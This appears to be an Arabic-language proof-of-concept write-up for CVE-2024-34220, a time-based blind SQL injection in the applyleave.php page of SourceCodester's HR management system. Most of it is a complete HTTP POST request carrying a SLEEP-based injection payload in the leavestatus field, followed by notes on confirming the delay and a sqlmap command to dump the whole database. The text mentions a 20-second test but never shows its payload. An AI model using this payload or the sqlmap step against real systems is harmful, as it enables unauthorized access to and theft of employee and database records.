
استغلال إثبات المفهوم لـ CVE-2024-34220، وهي ثغرة حقن SQL أعمى قائمة على الوقت في SourceCodester HRMS applyleave.php، مع أتمتة sqlmap لاستخراج قاعدة البيانات.
applyleave.php
حقن SQL
يمكن للمهاجمين استغلال هذه الثغرة للحصول على صلاحيات قاعدة البيانات، مما قد يؤدي إلى كمية كبيرة من البيانات في قاعدة البيانات. إذا كانت قاعدة البيانات لدى الطرف الآخر تمتلك صلاحيات DBA، فقد يؤدي ذلك إلى الحصول على صلاحيات المضيف للخادم.
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
بعد تشغيل هذه الحمولة، يتأخر وقت إرجاع البيانات بمقدار 5 ثوانٍ، مما يشير إلى أننا قد نجحنا في تنفيذ "sleep(5)". في هذه الحالة، قد يكون التأخير عدة مرات. سنتحقق من ذلك أدناه:

بعد تشغيل هذه الحمولة، يتأخر وقت إرجاع البيانات بمقدار 20 ثانية، مما يشير إلى أننا قد نجحنا في تنفيذ "sleep(20)". في هذه الحالة، قد يكون التأخير عدة مرات. سنتحقق من ذلك أدناه:

sqlmap -r <item request> --dump
